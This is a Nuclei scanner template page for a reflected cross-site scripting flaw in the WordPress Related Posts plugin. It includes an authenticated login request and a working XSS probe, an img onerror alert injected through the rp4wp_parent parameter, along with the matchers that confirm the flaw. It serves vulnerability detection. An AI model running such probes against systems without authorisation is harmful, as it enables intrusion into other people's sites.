WordPress Related Posts <= 2.1.1 - Cross Site Scripting

ID: wp-related-post-xss

Severity: medium

Author: arafatansari

Tags: wp-plugin,xss,relatedposts,authenticated,huntr,wordpress,wp

Description

WordPress Related Posts plugin before 2.1.1 contains an Reflected XSS via rp4wp_parent

YAML Source

id: wp-related-post-xss

info:
  name: WordPress Related Posts <= 2.1.1 - Cross Site Scripting
  author: arafatansari
  severity: medium
  description: |
    WordPress Related Posts plugin before 2.1.1 contains an Reflected XSS via rp4wp_parent
  reference:
    - https://huntr.dev/bounties/7c9bd2d2-2a6f-420c-a45e-716600cf810e/
    - https://wordpress.org/plugins/wordpress-23-related-posts-plugin/advanced/
  metadata:
    verified: true
    max-request: 2
  tags: wp-plugin,xss,relatedposts,authenticated,huntr,wordpress,wp

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=rp4wp_link_related&rp4wp_parent=156x%27%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>&action=edit'
          - 'All Posts</a>'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204028e5a03a5c9f36b718a2c1dab8f6e368bb2bcfc89947e1147613521d2a5e3a022100b9b646dc2ffedce55626c61b992398be30cf4524bcf1d99d2835ba4907d730f6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wp-related-post-xss.yaml"

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